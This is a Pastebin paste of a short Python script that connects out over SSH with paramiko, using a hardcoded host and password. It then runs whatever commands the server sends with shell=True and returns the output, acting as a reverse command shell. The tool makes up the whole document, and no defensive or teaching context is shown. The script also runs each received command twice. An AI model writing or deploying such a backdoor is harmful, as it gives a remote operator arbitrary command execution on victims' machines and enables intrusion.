Harman5007

ssh_client

Jun 17th, 2020
34
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.52 KB | None | 0 0
  1. import threading, paramiko, subprocess
  2.  
  3. def ssh_command(ip, port, user, passwd, command):
  4. client = paramiko.SSHClient()
  5. client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  6. client.connect(ip, port, username=user, password=passwd)
  7. ssh_session = client.get_transport().open_session()
  8.  
  9. if ssh_session.active and not ssh_session.closed:
  10.  
  11. ssh_session.send(command.encode('utf-8'))
  12. print(ssh_session.recv(4096).decode('utf-8'))
  13.  
  14. while True:
  15.  
  16. try:
  17. command = ssh_session.recv(4096).decode('utf-8')
  18. print(command)
  19. subprocess.call(command, shell=True)
  20. command_output = subprocess.run(
  21. command, stdout=subprocess.PIPE,
  22. stderr=subprocess.PIPE,
  23. shell=True,
  24. timeout=30
  25. )
  26. #send back the resulting output
  27. if len(command_output.stderr.decode('utf-8')):
  28. ssh_session.send(command_output.stderr.decode('utf-8'))
  29. elif len(command_output.stdout.decode('utf-8')):
  30. ssh_session.send(command_output.stdout.decode('utf-8'))
  31. else:
  32. ssh_session.send('null')
  33. except subprocess.CalledProcessError as err:
  34. ssh_session.send(str(err))
  35. ssh_session.close()
  36. return
  37.  
  38. ssh_command('127.0.0.1', 22, 'harman', '5007', 'ClientConnected')
Add Comment
Please, Sign In to add comment